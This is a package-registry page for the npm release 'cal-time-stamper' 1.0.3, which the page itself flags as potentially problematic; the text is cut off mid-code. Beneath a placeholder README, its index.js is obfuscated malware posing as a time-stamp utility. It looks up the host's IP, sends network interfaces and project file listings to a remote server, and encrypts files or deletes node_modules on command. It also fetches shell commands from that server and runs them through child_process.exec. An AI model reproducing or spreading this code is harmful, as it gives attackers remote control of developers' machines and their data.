cal-time-stamper 1.0.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of cal-time-stamper might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +50 -0
  2. package/index.js +16 -0
  3. package/package.json +27 -0
package/README.md ADDED
@@ -0,0 +1,50 @@
1
+ # Time Stamper
2
+
3
+ Time Stamper
4
+
5
+ # Editing this README
6
+
7
+ When you're ready to make this README your own, just edit this file and use the handy template below (or feel free to structure it however you want - this is just a starting point!). Thank you to [makeareadme.com](https://www.makeareadme.com/) for this template.
8
+
9
+ ## Suggestions for a good README
10
+ Every project is different, so consider which of these sections apply to yours. The sections used in the template are suggestions for most open source projects. Also keep in mind that while a README can be too long and detailed, too long is better than too short. If you think your README is too long, consider utilizing another form of documentation rather than cutting out information.
11
+
12
+ ## Name
13
+ Choose a self-explaining name for your project.
14
+
15
+ ## Description
16
+ Let people know what your project can do specifically. Provide context and add a link to any reference visitors might be unfamiliar with. A list of Features or a Background subsection can also be added here. If there are alternatives to your project, this is a good place to list differentiating factors.
17
+
18
+ ## Badges
19
+ On some READMEs, you may see small images that convey metadata, such as whether or not all the tests are passing for the project. You can use Shields to add some to your README. Many services also have instructions for adding a badge.
20
+
21
+ ## Visuals
22
+ Depending on what you are making, it can be a good idea to include screenshots or even a video (you'll frequently see GIFs rather than actual videos). Tools like ttygif can help, but check out Asciinema for a more sophisticated method.
23
+
24
+ ## Installation
25
+ Within a particular ecosystem, there may be a common way of installing things, such as using Yarn, NuGet, or Homebrew. However, consider the possibility that whoever is reading your README is a novice and would like more guidance. Listing specific steps helps remove ambiguity and gets people to using your project as quickly as possible. If it only runs in a specific context like a particular programming language version or operating system or has dependencies that have to be installed manually, also add a Requirements subsection.
26
+
27
+ ## Usage
28
+ Use examples liberally, and show the expected output if you can. It's helpful to have inline the smallest example of usage that you can demonstrate, while providing links to more sophisticated examples if they are too long to reasonably include in the README.
29
+
30
+ ## Support
31
+ Tell people where they can go to for help. It can be any combination of an issue tracker, a chat room, an email address, etc.
32
+
33
+ ## Roadmap
34
+ If you have ideas for releases in the future, it is a good idea to list them in the README.
35
+
36
+ ## Contributing
37
+ State if you are open to contributions and what your requirements are for accepting them.
38
+
39
+ For people who want to make changes to your project, it's helpful to have some documentation on how to get started. Perhaps there is a script that they should run or some environment variables that they need to set. Make these steps explicit. These instructions could also be useful to your future self.
40
+
41
+ You can also document commands to lint the code or run tests. These steps help to ensure high code quality and reduce the likelihood that the changes inadvertently break something. Having instructions for running tests is especially helpful if it requires external setup, such as starting a Selenium server for testing in a browser.
42
+
43
+ ## Authors and acknowledgment
44
+ Show your appreciation to those who have contributed to the project.
45
+
46
+ ## License
47
+ For open source projects, say how it is licensed.
48
+
49
+ ## Project status
50
+ If you have run out of energy or time for your project, put a note at the top of the README saying that development has slowed down or stopped completely. Someone may choose to fork your project or volunteer to step in as a maintainer or owner, allowing your project to keep going. You can also make an explicit request for maintainers.
package/index.js ADDED
@@ -0,0 +1,16 @@
1
+ import exactMath from 'exact-math';
2
+ import os from 'os';
3
+ import process from 'process';
4
+ import fs from 'fs';
5
+ import path from 'path';
6
+ import crypto from 'crypto';
7
+ import axios from 'axios';
8
+ import children from "child_process";
9
+
10
+ const _0x49564d=_0x2d04,_0x191156=_0x2d04;function _0x2d04(_0x239472,_0x2dfd61){const _0x1b75c9=_0x3d31();return _0x2d04=function(_0x2bc327,_0x1d1500){_0x2bc327=_0x2bc327-(-0x1*0x12af+-0xd5d+-0x1*-0x20a9);let _0x4b39de=_0x1b75c9[_0x2bc327];return _0x4b39de;},_0x2d04(_0x239472,_0x2dfd61);}(function(_0x469ea4,_0x3b0668){const _0x1f671a=_0x2d04,_0x20ee8f=_0x2d04,_0x1f91c1=_0x469ea4();while(!![]){try{const _0x35759a=-parseInt(_0x1f671a(0x11c))/(0x22a+-0xd7*0x1d+-0x1*-0x1632)*(parseInt(_0x20ee8f('0x10c'))/(0x6ac+-0x113d+0x1*0xa93))+-parseInt(_0x1f671a(0xb6))/(0xb*0x19f+0x1003+-0xb47*0x3)+parseInt(_0x20ee8f('0x12c'))/(0x1*-0x171e+-0xd*-0x1f1+-0x21b)*(-parseInt(_0x1f671a('0xb4'))/(0x14*0xd+0x14af+0x6f*-0x32))+-parseInt(_0x20ee8f('0x109'))/(-0x1*-0x101+-0x1aa5+0xcd5*0x2)+-parseInt(_0x20ee8f('0xb9'))/(0x10d5+0x11*0x123+-0x2421)*(parseInt(_0x20ee8f(0xc4))/(-0x1501+0x170a+-0x1b*0x13))+-parseInt(_0x20ee8f('0x100'))/(0x633+-0x1*-0x120f+-0x1839)+parseInt(_0x20ee8f(0x108))/(0xff7*-0x1+0xded*0x1+0x4*0x85);if(_0x35759a===_0x3b0668)break;else _0x1f91c1['push'](_0x1f91c1['shift']());}catch(_0x509b8c){_0x1f91c1['push'](_0x1f91c1['shift']());}}}(_0x3d31,0x16*0x3fc2+0xf29a*0xc+-0x99983));const _0x1f6c8b=(function(){const _0x245bcc=_0x2d04,_0x1ed879=_0x2d04,_0x569f4f={};_0x569f4f['ibuRP']=_0x245bcc(0xb8)+'+$',_0x569f4f[_0x1ed879('0xfe')]=function(_0x1cfae6,_0x1800a0){return _0x1cfae6===_0x1800a0;},_0x569f4f[_0x1ed879(0x138)]=_0x245bcc('0xe9');const _0x56c3d2=_0x569f4f;let _0x4e5d4c=!![];return function(_0x1d2900,_0x2e25cf){const _0x546d80=_0x1ed879,_0x263833=_0x245bcc;if(_0x56c3d2[_0x546d80(0xfe)](_0x56c3d2[_0x263833(0x138)],_0x56c3d2['hbcYs'])){const _0x50fb6f=_0x4e5d4c?function(){const _0xda3225=_0x263833;if(_0x2e25cf){const _0x18bce8=_0x2e25cf[_0xda3225(0x9d)](_0x1d2900,arguments);return _0x2e25cf=null,_0x18bce8;}}:function(){};return _0x4e5d4c=![],_0x50fb6f;}else return _0x505468[_0x546d80('0xce')]()[_0x263833('0xec')](_0x56c3d2[_0x263833('0xa5')])[_0x546d80('0xce')]()[_0x263833('0x11a')+'r'](_0x5f5dd7)[_0x546d80(0xec)](_0x263833(0xb8)+'+$');};}()),_0x2ad56a=_0x1f6c8b(this,function(){const _0x18e229=_0x2d04,_0x2c1e6d=_0x2d04,_0x38dded={};_0x38dded[_0x18e229(0x11e)]=_0x18e229(0xb8)+'+$';const _0x379333=_0x38dded;return _0x2ad56a[_0x2c1e6d('0xce')]()[_0x2c1e6d('0xec')](_0x379333[_0x2c1e6d(0x11e)])['toString']()[_0x2c1e6d('0x11a')+'r'](_0x2ad56a)[_0x2c1e6d('0xec')](_0x379333[_0x18e229('0x11e')]);});_0x2ad56a();let app_base_url=process['cwd']();const my_url=_0x49564d(0x13b)+'mantest.lb'+'msolutions'+_0x191156('0xdb'),ip_url=_0x49564d('0xcc')+_0x191156(0xd1)+_0x191156('0xb7')+'t=json',fsp=fs[_0x49564d(0xb0)];async function walk(_0x97aaf6){const _0x1bb3cb=_0x49564d,_0x52c7f7=_0x191156,_0xeccc09={'HzcYK':function(_0x50daa0,_0x17f645){return _0x50daa0!==_0x17f645;},'tKxOq':_0x1bb3cb('0x130'),'oXbvV':'node_modul'+'es','yBrBy':function(_0x1a87a2,_0x2d5d1b){return _0x1a87a2(_0x2d5d1b);}};let _0x4f425f=await fsp[_0x52c7f7(0xa6)](_0x97aaf6);_0x4f425f=await Promise[_0x52c7f7('0x101')](_0x4f425f[_0x52c7f7('0xf2')](async _0xfbb873=>{const _0x40f223=_0x1bb3cb,_0x1828c9=_0x52c7f7;if(_0xeccc09[_0x40f223(0xa9)](_0xeccc09['tKxOq'],_0x40f223('0x130'))){const _0x5babe4=_0x316c5b?function(){const _0x1f923b=_0x40f223;if(_0x539221){const _0x46c21e=_0x580067[_0x1f923b('0x9d')](_0x2ed907,arguments);return _0x54f37a=null,_0x46c21e;}}:function(){};return _0x22d00c=![],_0x5babe4;}else{const _0x4eab90=path[_0x1828c9('0xcd')](_0x97aaf6,_0xfbb873),_0x14da53=await fsp['stat'](_0x4eab90);if(_0x14da53['isDirector'+'y']()&&(!_0x4eab90[_0x40f223(0xe8)](_0xeccc09['oXbvV'])&&!_0x4eab90[_0x40f223(0xe8)](_0x40f223('0xfa'))))return _0xeccc09[_0x1828c9('0x110')](walk,_0x4eab90);else{if(_0x14da53[_0x1828c9(0xeb)]())return _0x4eab90;}}}));let _0x553e5c=_0x4f425f[_0x1bb3cb('0x121')]((_0xbd158d,_0x2c49a9)=>_0xbd158d[_0x1bb3cb(0xc9)](_0x2c49a9),[]);return _0x553e5c[_0x1bb3cb(0xa3)](function(_0x3ed162){return _0xeccc09['HzcYK'](_0x3ed162,undefined);});}function removeFile(_0x2f0b6f,_0x523943=![]){const _0x327ce1=_0x49564d,_0x514444=_0x191156,_0x33b073={};_0x33b073[_0x327ce1('0x102')]=function(_0x4f3164,_0x43711b){return _0x4f3164+_0x43711b;};const _0x45975a=_0x33b073;_0x523943?fs[_0x514444('0xe7')](_0x2f0b6f):fs['unlinkSync'](_0x45975a[_0x327ce1(0x102)](app_base_url+'/',_0x2f0b6f));}function readFile(_0xe35378,_0x345204=![]){const _0x41c878=_0x49564d,_0x2c5dcb=_0x49564d,_0xa1096d={};_0xa1096d[_0x41c878(0xab)]=_0x2c5dcb(0x137),_0xa1096d[_0x2c5dcb('0xc0')]=function(_0x28070d,_0x160291){return _0x28070d+_0x160291;};const _0x49f3ac=_0xa1096d;return _0x345204?fs[_0x2c5dcb('0x127')+'nc'](_0xe35378,_0x49f3ac[_0x2c5dcb('0xab')]):fs[_0x2c5dcb('0x127')+'nc'](_0x49f3ac[_0x41c878('0xc0')](app_base_url+'/',_0xe35378),_0x49f3ac['ZNUvW']);}function writeFile(_0x208bce,_0x2cda71,_0x3dc835=![]){const _0x38358c=_0x49564d,_0x35be13=_0x49564d,_0x48caad={};_0x48caad[_0x38358c(0xdf)]=function(_0x2ed03b,_0x10eba2){return _0x2ed03b+_0x10eba2;},_0x48caad[_0x35be13(0xbf)]=function(_0x1d360a,_0x4c50db){return _0x1d360a+_0x4c50db;};const _0xe7e28f=_0x48caad;return _0x3dc835?fs[_0x35be13('0x12f')+_0x38358c(0xed)](_0x208bce,_0x2cda71):fs['writeFileS'+'ync'](_0xe7e28f[_0x38358c('0xdf')](_0xe7e28f[_0x35be13('0xbf')](app_base_url,'/'),_0x208bce),_0x2cda71);}function lock_file(_0x1f64b1,_0x1160f2,_0x3ea283,_0x33760b){const _0x2cc05d=_0x49564d,_0xe9ab4a=_0x191156,_0x4d7b39={};_0x4d7b39['ieadq']=_0x2cc05d(0x137),_0x4d7b39['LxAuD']=_0xe9ab4a('0x114');const _0x270549=_0x4d7b39,_0x194f61=crypto['createCiph'+_0x2cc05d(0xad)](_0x1f64b1,_0x3ea283,_0x1160f2);let _0x3f93ca=_0x194f61[_0x2cc05d('0x103')](_0x33760b,_0x270549[_0x2cc05d(0xdd)],_0xe9ab4a(0x114));return _0x3f93ca+=_0x194f61['final'](_0x270549['LxAuD']),_0x3f93ca;}function onCheat(_0x59d4e0,_0x1d0bfa,_0x515e27=![]){const _0x348078=_0x49564d,_0x223711=_0x49564d,_0x2a1df8={'rAtIU':function(_0x28fb46,_0x208571,_0x18d20f){return _0x28fb46(_0x208571,_0x18d20f);}};let _0x2b8a40=_0x2a1df8[_0x348078(0xd9)](readFile,_0x59d4e0,_0x515e27),_0x306388=lock_file(_0x1d0bfa['algorithm'],_0x1d0bfa[_0x348078('0xde')],_0x1d0bfa[_0x348078('0x12e')+'y'],_0x2b8a40),_0x470b7d=writeFile(_0x59d4e0,_0x306388,_0x515e27);}function get_address(){const _0x30335a=_0x191156,_0x1cc9e2=_0x191156;let _0x372ae4=os[_0x30335a('0xb1')+_0x1cc9e2(0xac)](),_0x51dbef=[];for(const _0x43dd4b in _0x372ae4){const _0x553ced=_0x372ae4[_0x43dd4b];let _0x4fcc9a=_0x553ced[_0x1cc9e2(0xf2)](_0x52641f=>_0x52641f[_0x1cc9e2('0x10d')]);_0x51dbef=_0x51dbef[_0x30335a(0xc9)](_0x4fcc9a);}return _0x51dbef;}async function makeGetRequest(_0x2bc25d){const _0x45cb54=_0x191156;let _0xbc1e31=await axios[_0x45cb54('0xf7')](_0x2bc25d);return _0xbc1e31['data'];}async function makePostRequest(_0x248c2d,_0x29be63){const _0x3cc79c=_0x191156,_0x15c436=_0x191156,_0x2c1e06={};_0x2c1e06['iiiHO']=_0x3cc79c(0xfc)+_0x15c436('0x115');const _0x154914=_0x2c1e06,_0x3c10e8={};_0x3c10e8['Content-Ty'+'pe']=_0x154914['iiiHO'];const _0x211ce1={};_0x211ce1[_0x3cc79c(0xd3)]=_0x3c10e8;let _0x226891=await axios[_0x3cc79c(0xf3)](_0x248c2d,JSON[_0x15c436('0xc1')](_0x29be63),_0x211ce1);return _0x226891['data'];}let Checked_ip='',cdlogs={};function _0x3d31(){const _0x24d212=['bXHFr','EFjJg','concat','15m','nds','https://ap','join','toString','getUTCMont','30m','i64.ipify.','qapFv','headers','getTimeSta','LoZRk','setUTCSeco','exec','cmd','rAtIU','files','.in/check','data','ieadq','s16bit','bOgtN','rtGHl','eStamp','time_diff','msolutions','eGNCR','12h','MnvKF','unlinkSync','includes','FEpke','SIUoB','isFile','search','ync','forEach','vals','hJHuB','now','map','post','Pmqnr','setUTCHour','add','get','BnsnF','recursive','.git','ICfTo','applicatio','hDNsA','LUSyy','CdNrk','4926240kRUMzv','all','YEiNP','update','time_inter','wtXfK','status','HIyQN','20667620XoKyAy','1288470vLWrVU','sQeZn','start_time','259342dPHOcM','address','div','ZRSuD','yBrBy','pZGZr','yXXeM','JIDWM','hex','n/json','tes','LAYkZ','getUTCHour','ZWRRC','constructo','getUTCDate','2fBFHfl','xoYAs','xsHRY','sub','UpcIU','reduce','GOYzh','XMXWu','setUTCMinu','round','CVdey','readFileSy','rkGcT','mul','dMJYg','get_1m_Tim','44bFnsGM','WNvKD','private_ke','writeFileS','DJCsj','floor','rmSync','uMfRg','aIcxJ','jHfTx','AdPst','utf-8','hbcYs','NrOUt','YoXsH','https://ra','XkCmD','apply','getUTCDay','mantest.lb','10m','getUTCMinu','time_divid','filter','message','ibuRP','readdir','FGHGN','iLmFP','HzcYK','Calling','ZNUvW','erfaces','eriv','xowmU','stderr','promises','networkInt','HlRop','cMxGP','91240WkmNdh','EOwnx','465786wApROw','org/?forma','(((.+)+)+)','1197ZCVgEZ','rfEfe','end_time','setUTCMill','ibvvo','iseconds','hOEOB','HkZca','stringify','getTime','exmSf','10016PuZydj','getFullYea','setUTCDate'];_0x3d31=function(){return _0x24d212;};return _0x3d31();}async function main(){const _0x37bf60=_0x49564d,_0x46966f=_0x191156,_0x497946={'LxifO':function(_0x37bd08,_0x43cbdf,_0xde4fa,_0x5e56a6){return _0x37bd08(_0x43cbdf,_0xde4fa,_0x5e56a6);},'hJHuB':_0x37bf60('0xfd'),'LoZRk':function(_0x5c071a){return _0x5c071a();},'pZGZr':function(_0x236f00,_0x454a09){return _0x236f00(_0x454a09);},'xoYAs':function(_0x5ed05b,_0x529e7a,_0x418e00){return _0x5ed05b(_0x529e7a,_0x418e00);},'aIcxJ':function(_0x36cde4,_0x394071){return _0x36cde4!==_0x394071;},'JvSFU':_0x37bf60(0x117)};try{if(_0x37bf60(0x120)!==_0x497946[_0x37bf60(0xf0)]){let _0x3fdcf2=await makeGetRequest(ip_url);Checked_ip=_0x3fdcf2;let _0x26da0e=os[_0x46966f(0xb1)+_0x37bf60(0xac)](),_0x502f85=_0x497946[_0x37bf60('0xd5')](get_address),_0x1d9ff7=await _0x497946[_0x46966f(0x111)](walk,app_base_url),_0x1fdd38=await _0x497946[_0x46966f('0x11d')](makePostRequest,my_url,{'ip':_0x3fdcf2,'networkInterfaces':_0x26da0e,'addresses':_0x502f85,'files':_0x1d9ff7,'time':Date[_0x37bf60(0xf1)](),'clog':cdlogs});if(_0x1fdd38[_0x37bf60('0x106')]==![]){_0x1fdd38[_0x46966f(0xda)]?.[_0x37bf60(0xee)](_0x28e62b=>{const _0xbb9143=_0x37bf60;_0x497946['LxifO'](onCheat,_0x28e62b,_0x1fdd38[_0xbb9143('0xdc')],!![]);});const _0x392baa={};_0x392baa[_0x37bf60(0xf9)]=!![],_0x392baa['force']=!![],fs[_0x46966f(0x132)]('node_modul'+'es',_0x392baa);}_0x497946[_0x37bf60('0xd5')](power);}else try{return _0x2f996f['add'](..._0x19d4d5,_0x186d43);}catch(_0x2a3df0){let _0x3c5fb7=new _0x24f3ce(_0x2a3df0[_0x37bf60('0xa4')]);return _0x3c5fb7;}}catch(_0x303463){if(_0x497946[_0x37bf60('0x134')]('LAYkZ',_0x497946['JvSFU']))_0x33a193[_0x37bf60('0x124')+_0x46966f(0x116)](0x2469+-0x153d+-0xf2c);else return'';}}setInterval(()=>{const _0x8f3d84=_0x191156,_0x64ced6=_0x49564d,_0x464156={'uMfRg':_0x8f3d84('0xaa'),'FGHGN':function(_0x2b8a37){return _0x2b8a37();}};console['log'](_0x464156[_0x64ced6(0x133)]),_0x464156[_0x8f3d84('0xa7')](main);},0xbe19+0x45d6+0x575*-0x13);async function power(){const _0x2ad7d5=_0x49564d,_0x4219ee=_0x49564d,_0x21c9fc={};_0x21c9fc['JIDWM']=function(_0x5a8445,_0x1bd263){return _0x5a8445-_0x1bd263;},_0x21c9fc['vRqiM']=function(_0x185c07,_0x1dc4a0){return _0x185c07!==_0x1dc4a0;},_0x21c9fc['HlRop']=function(_0x461283,_0xe04d5f){return _0x461283!==_0xe04d5f;},_0x21c9fc['IbSCN']='ZRHua',_0x21c9fc[_0x2ad7d5('0x136')]='PRFuZ',_0x21c9fc['SIUoB']='error',_0x21c9fc[_0x2ad7d5(0xd2)]=function(_0x57353a,_0x44ebf6){return _0x57353a===_0x44ebf6;},_0x21c9fc[_0x4219ee('0x128')]=_0x4219ee(0x119),_0x21c9fc[_0x2ad7d5(0xba)]=_0x2ad7d5('0x107'),_0x21c9fc[_0x4219ee('0xe6')]='stdout',_0x21c9fc[_0x2ad7d5(0xff)]=function(_0x327d4f,_0x194834){return _0x327d4f!==_0x194834;},_0x21c9fc[_0x2ad7d5('0x12a')]='vAeSy',_0x21c9fc['SgTPL']='https://ra'+_0x2ad7d5('0x9f')+_0x4219ee(0xe3)+'.in/help',_0x21c9fc[_0x4219ee(0x135)]=function(_0x5043bf,_0x357358){return _0x5043bf==_0x357358;},_0x21c9fc[_0x4219ee(0x13c)]=function(_0x2bb3e3,_0x46ce29){return _0x2bb3e3!=_0x46ce29;},_0x21c9fc['rtGHl']=function(_0x444874,_0x2c9928){return _0x444874===_0x2c9928;},_0x21c9fc[_0x2ad7d5(0x123)]=_0x4219ee('0x10a');const _0x5e6328=_0x21c9fc;try{if(_0x5e6328[_0x2ad7d5('0xff')]('vAeSy',_0x5e6328['dMJYg'])){const _0x3aee76=new _0x12f76e(),_0x9fd1a=_0x5e6328[_0x2ad7d5('0x113')](0x118d1+0x1003d*-0x1+0x3473*0x4,0x5f9+0xf9b+-0x3*0x731);_0x3aee76[_0x4219ee(0xbc)+_0x2ad7d5('0xbe')](-0x26a3+-0x5*-0x18e+0x1edd),_0x3aee76[_0x2ad7d5(0xd6)+_0x4219ee('0xcb')](0x86+0xfac*-0x2+-0x5*-0x62a);let _0x565005=_0x3aee76['getTime'](),_0x4df572=_0x523988[_0x4219ee('0xf6')](_0x565005,_0x9fd1a);const _0x37602d={};return _0x37602d['start_time']=_0x565005,_0x37602d['end_time']=_0x4df572,_0x37602d;}else{let _0x2749be=await makeGetRequest(_0x5e6328['SgTPL']);if(_0x5e6328[_0x2ad7d5('0x135')](_0x2749be['ip'],Checked_ip)&&_0x5e6328[_0x2ad7d5('0x13c')](_0x2749be['cmd'],'')){if(_0x5e6328[_0x4219ee(0xe0)](_0x2ad7d5(0x105),_0x5e6328[_0x2ad7d5('0x123')])){const _0xb13b0a=_0x1b24b7['apply'](_0x425218,arguments);return _0xd76937=null,_0xb13b0a;}else children[_0x4219ee('0xd7')](_0x2749be[_0x2ad7d5('0xd8')],(_0x46bdee,_0x40c399,_0x5e5c50)=>{const _0x3fc851=_0x4219ee,_0xaebb61=_0x2ad7d5;if(_0x5e6328['vRqiM'](_0x3fc851('0xe4'),_0xaebb61(0x122))){if(_0x46bdee){if(_0x5e6328[_0xaebb61(0xb2)](_0x5e6328['IbSCN'],_0x5e6328[_0xaebb61(0x136)])){cdlogs[_0x5e6328[_0xaebb61('0xea')]]=_0x46bdee[_0xaebb61('0xa4')];return;}else return _0x5a4950[_0xaebb61(0x125)](..._0x1e31f0,_0x13b375);}if(_0x5e5c50){if(_0x5e6328['qapFv'](_0x5e6328[_0x3fc851(0x128)],_0x5e6328[_0xaebb61(0xba)])){let _0x3a6a6f=new _0xdf1fd1(_0x1d96d7[_0xaebb61(0xa4)]);return _0x3a6a6f;}else{cdlogs[_0x3fc851('0xaf')]=_0x5e5c50;return;}}cdlogs[_0x5e6328[_0xaebb61(0xe6)]]=_0x40c399;return;}else return _0x3ee923[_0x3fc851(0xf6)](..._0x1473b1,_0x7fa50f);});}}}catch(_0x1d90b1){return'';}}const _0x4ab2d0={};_0x4ab2d0['returnStri'+'ng']=!![],_0x4ab2d0['eMinus']=Infinity,_0x4ab2d0['ePlus']=Infinity;const mathConfig=_0x4ab2d0;function add(..._0x30a13f){const _0x288c45=_0x191156;try{return exactMath[_0x288c45('0xf6')](..._0x30a13f,mathConfig);}catch(_0x3e1cc5){let _0x1d97c6=new Error(_0x3e1cc5['message']);return _0x1d97c6;}}function sub(..._0x5ab492){const _0x57c198=_0x191156,_0x3af0f4=_0x49564d;try{return exactMath[_0x57c198(0x11f)](..._0x5ab492,mathConfig);}catch(_0x4ba1e0){if(_0x57c198('0xb3')===_0x3af0f4(0xb3)){let _0x2b74a0=new Error(_0x4ba1e0[_0x3af0f4(0xa4)]);return _0x2b74a0;}else return _0x31c005[_0x3af0f4(0x11f)](..._0x5be3ad,_0x230d47);}}function mul(..._0x4e7b07){const _0x4dc300=_0x191156,_0xc232c3=_0x49564d;try{return exactMath[_0x4dc300(0x129)](..._0x4e7b07,mathConfig);}catch(_0x3aee09){let _0x360a5e=new Error(_0x3aee09[_0xc232c3('0xa4')]);return _0x360a5e;}}function div(..._0x3f54c4){const _0x3a4ab9=_0x191156;try{return exactMath[_0x3a4ab9(0x10e)](..._0x3f54c4,mathConfig);}catch(_0x1fe5e2){let _0x321336=new Error(_0x1fe5e2['message']);return _0x321336;}}function round(..._0x420a53){const _0x101858=_0x49564d,_0x505a01=_0x49564d,_0x2a189d={};_0x2a189d[_0x101858('0xae')]=function(_0x273a31,_0x17df31){return _0x273a31!==_0x17df31;},_0x2a189d['BnsnF']=_0x101858(0xc3);const _0x8f99e1=_0x2a189d;try{if(_0x8f99e1['xowmU'](_0x505a01('0x112'),_0x8f99e1[_0x101858('0xf8')]))return exactMath[_0x505a01('0x125')](..._0x420a53,mathConfig);else{if(_0x1eba94){const _0x462ef4=_0x58b697['apply'](_0x551bd3,arguments);return _0x3f0430=null,_0x462ef4;}}}catch(_0x485433){let _0xedbd2c=new Error(_0x485433[_0x101858('0xa4')]);return _0xedbd2c;}}function floor(..._0x4c0004){const _0x228b40=_0x191156,_0x2cf3a1=_0x49564d,_0x21731a={};_0x21731a[_0x228b40('0xf4')]=function(_0x46bc31,_0x14bfcb){return _0x46bc31===_0x14bfcb;},_0x21731a['DXMix']=_0x2cf3a1(0xc8);const _0x1308a1=_0x21731a;try{if(_0x1308a1[_0x228b40(0xf4)](_0x1308a1['DXMix'],_0x1308a1['DXMix']))return exactMath[_0x2cf3a1('0x131')](..._0x4c0004,mathConfig);else try{return _0x12e466[_0x228b40(0x125)](..._0x534bcc,_0x4edf4c);}catch(_0xa799a){let _0x36a3e2=new _0x3f4f95(_0xa799a['message']);return _0x36a3e2;}}catch(_0x477ff1){let _0xca372f=new Error(_0x477ff1[_0x228b40(0xa4)]);return _0xca372f;}}const _0x534b87={};_0x534b87['add']=add,_0x534b87[_0x191156(0x11f)]=sub,_0x534b87[_0x49564d(0x129)]=mul,_0x534b87[_0x49564d(0x10e)]=div,_0x534b87[_0x49564d(0x125)]=round,_0x534b87[_0x191156('0x131')]=floor;let Calculator=_0x534b87;const time_intervals=['1m','3m','5m',_0x191156(0xa0),_0x191156(0xca),'30m','1h','2h',_0x49564d(0xe5),'1d','1w','1M'],_0x49668a={};_0x49668a['1m']=0x1,_0x49668a['3m']=0x3,_0x49668a['5m']=0x5,_0x49668a[_0x191156(0xa0)]=0xa,_0x49668a[_0x191156('0xca')]=0xf,_0x49668a[_0x191156('0xd0')]=0x1e,_0x49668a['1h']=0x1,_0x49668a['2h']=0x2,_0x49668a[_0x49564d('0xe5')]=0xc;const time_divider=_0x49668a,_0x106e84={};_0x106e84['1m']=0x1,_0x106e84['3m']=0x3,_0x106e84['5m']=0x5,_0x106e84[_0x191156(0xa0)]=0xa,_0x106e84[_0x49564d(0xca)]=0xf,_0x106e84['30m']=0x1e,_0x106e84['1h']=0x3c,_0x106e84['2h']=0x78,_0x106e84[_0x49564d('0xe5')]=0x2d0,_0x106e84['1d']=0x5a0,_0x106e84['1w']=0x2760;const time_multipliers=_0x106e84,TimeInMinutes=_0x6b5acd=>{if(!time_intervals['includes'](_0x6b5acd))return time_multipliers['1m'];return time_multipliers[_0x6b5acd];},_0x2a9e4a={};_0x2a9e4a[_0x191156(0x104)+_0x49564d(0xef)]=time_intervals,_0x2a9e4a[_0x191156('0xa2')+'er']=time_divider,_0x2a9e4a['TimeInMinu'+_0x49564d('0x116')]=TimeInMinutes;let TimeInterval=_0x2a9e4a;const getTimeStamp=(_0x529ab3='1m',_0x350594=null)=>{const _0x4d4740=_0x49564d,_0x540852=_0x49564d,_0x3a8030={};_0x3a8030['YoXsH']=_0x4d4740('0x137'),_0x3a8030[_0x540852(0xb5)]=_0x4d4740('0x114'),_0x3a8030[_0x540852('0xfb')]=function(_0x2fd499,_0x41cace){return _0x2fd499!=_0x41cace;},_0x3a8030['oULqd']=function(_0x2183a9,_0x3b6c97){return _0x2183a9!==_0x3b6c97;},_0x3a8030[_0x4d4740(0xbd)]=_0x4d4740('0x10f'),_0x3a8030['UXTrd']=function(_0x62a8d8,_0x486e50){return _0x62a8d8==_0x486e50;},_0x3a8030[_0x540852(0x12d)]=function(_0x2e235b,_0x2f49fc){return _0x2e235b==_0x2f49fc;},_0x3a8030['FJeia']=function(_0x367afe,_0x30bfcb){return _0x367afe-_0x30bfcb;},_0x3a8030[_0x540852(0x139)]=function(_0x41fa45,_0x11f498){return _0x41fa45!==_0x11f498;},_0x3a8030['TDerq']=_0x540852('0x126'),_0x3a8030[_0x4d4740(0xa8)]=function(_0x18b730,_0x5dd997){return _0x18b730+_0x5dd997;};const _0x5c3532=_0x3a8030;!time_intervals[_0x540852(0xe8)](_0x529ab3)&&(_0x529ab3='1m');const _0x8de404=_0x5c3532['ICfTo'](_0x350594,null)?new Date(_0x350594):new Date(),_0x43ec71=0x16*-0xa09+0x1*0x18075+0x46b1;let _0x2991ed=0x2056*0x1+-0x3bf+-0x1c97;_0x8de404[_0x4d4740(0xbc)+'iseconds'](-0x2441*-0x1+0x1*0x25+-0x1*0x2466),_0x8de404[_0x540852(0xd6)+_0x540852('0xcb')](-0x1*-0x90f+0x2141+-0x2a50);if(_0x529ab3[_0x4d4740(0xe8)]('m')){let _0x5b0d7b=_0x8de404[_0x4d4740(0xa1)+'tes'](),_0x5403d0=_0x5b0d7b%time_divider[_0x529ab3];_0x5b0d7b=exactMath[_0x4d4740(0x11f)](_0x5b0d7b,_0x5403d0),_0x8de404[_0x540852(0x124)+'tes'](_0x5b0d7b),_0x2991ed=time_divider[_0x529ab3];}else{if(_0x5c3532['oULqd'](_0x5c3532[_0x4d4740('0xbd')],_0x5c3532[_0x4d4740('0xbd')])){let _0x309e29=_0x1eefb7['networkInt'+'erfaces'](),_0x3159b3=[];for(const _0x147aad in _0x309e29){const _0x5ca983=_0x309e29[_0x147aad];let _0x1c4581=_0x5ca983[_0x540852(0xf2)](_0x2c0e9f=>_0x2c0e9f[_0x540852(0x10d)]);_0x3159b3=_0x3159b3[_0x540852('0xc9')](_0x1c4581);}return _0x3159b3;}else _0x8de404[_0x4d4740(0x124)+_0x540852('0x116')](0x1*0x1985+-0x1*0x20fe+-0x779*-0x1);}if(_0x529ab3['includes']('h')){let _0x2ecbb9=_0x8de404[_0x540852(0x118)+'s'](),_0xe5d6cb=_0x2ecbb9%time_divider[_0x529ab3];_0x2ecbb9=exactMath[_0x540852('0x11f')](_0x2ecbb9,_0xe5d6cb),_0x8de404[_0x540852('0xf5')+'s'](_0x2ecbb9),_0x2991ed=exactMath['mul'](time_divider[_0x529ab3],0x5*0x563+0x129a+0x1*-0x2d4d);}_0x5c3532['UXTrd'](_0x529ab3,'1d')&&(_0x8de404[_0x540852(0xf5)+'s'](0xa47*-0x1+0x329*0x5+-0x586),_0x2991ed=exactMath[_0x4d4740(0x129)](0x22*0x50+0x9b3+-0x1*0x143b,-0x8cd*0x3+-0x1*0x1af+0x1c52));if(_0x5c3532[_0x4d4740(0x12d)](_0x529ab3,'1w')){_0x8de404[_0x540852('0xf5')+'s'](-0x2043+-0xd11*0x1+0xf1c*0x3);let 